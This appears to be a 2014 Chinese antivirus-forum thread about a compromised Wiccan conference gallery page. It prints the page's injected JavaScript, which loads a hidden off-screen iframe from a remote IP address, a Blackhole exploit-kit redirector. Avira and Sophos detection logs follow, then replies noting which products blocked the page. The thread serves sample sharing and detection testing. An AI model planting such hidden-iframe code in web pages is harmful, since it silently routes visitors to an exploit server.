裏面

显示全部楼层 · 发表于 2014-2-8 11:25:52

http://www.wiccanconference.org/gallery/main.php?g2_view=slideshowapplet.SlideshowApplet&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;g2_itemId=1927&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp

复制代码

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://95.211.18.91/go.php?sid=1' width='100' height='100' style='width:100px;height:100px;position:absolute;visibility:hidden;left:-10000px;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://95.211.18.91/go.php?sid=1');
f.style.left = '-10000px';
f.style.visibility = 'hidden';
f.style.top = '0';
f.style.position = 'absolute';
f.style.top = '0';
f.setAttribute('width', '100');
f.setAttribute('height', '100');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

Avira

2014/2/8 上午 11:18 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\7853OJ09\main[1].htm'
   包含病毒或有害的程式 'JS/BlacoleRef.W.234' [virus]
   已採取動作：
   發生錯誤，檔案未刪除。錯誤識別碼：26003.
   檔案無法刪除！.
   嘗試使用 ARK 程式庫執行動作.
   檔案會移動至 '43cb2770.qua' 名稱底下的隔離區目錄!

2014/2/8 上午 11:18 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 790
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2014/2/8 上午 11:17 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\7853OJ09\main[1].htm 中
   偵測到病毒或有害的程式 'JS/BlacoleRef.W.234 [virus]'
   執行的動作：傳輸至掃描程式

2014/2/8 上午 11:17 [Web Protection] 發現惡意程式碼
   從 URL
   "http://www.wiccanconference.org/gallery/main.php?g2_view=slideshowapplet.Slides
   howApplet&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;am
   p;amp;amp;g2_itemId=1927&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp
   ;amp;amp;amp;amp" 存取資料時，
   發現病毒或有害的程式 'JS/BlacoleRef.W.234' [virus]。
   已採取動作：已略過

fs is

Sophos

****************** Sophos Anti-Virus 日誌紀錄 - 2014/2/8 上午 03:23:56 **************

...
20140208 031906 存取路徑 "www.wiccanconference.org/gallery/main.php" 受到攔截，受攔截的使用者為
WILLIAM\alan
20140208 031906 在 "www.wiccanconference.org/gallery/main.php" 上偵測到病毒/間諜程式
'Mal/Iframe-W'

显示全部楼层 · 发表于 2014-5-2 21:41:46

FSCS

显示全部楼层 · 发表于 2014-5-17 14:22:56

诺顿拦截

显示全部楼层 · 发表于 2014-5-17 21:18:00

诺顿神一般的分析safeweb.norton.com
Norton 分级

“诺顿网页安全”已经分析 wiccanconference.org 可靠性和安全性问题。
摘要

“诺顿网页安全”未发现该站点存在任何问题。
计算机威胁: 0
身份威胁: 0
讨厌因素: 0
该站点上的威胁总数: 0
诺顿分级是 Symantec 自动分析系统的结果。

显示全部楼层 · 发表于 2014-5-19 21:59:00

大蜘蛛拦截

显示全部楼层 · 发表于 2014-5-20 18:08:09

OP墙手动拦截

[已鉴定] 裏面

评分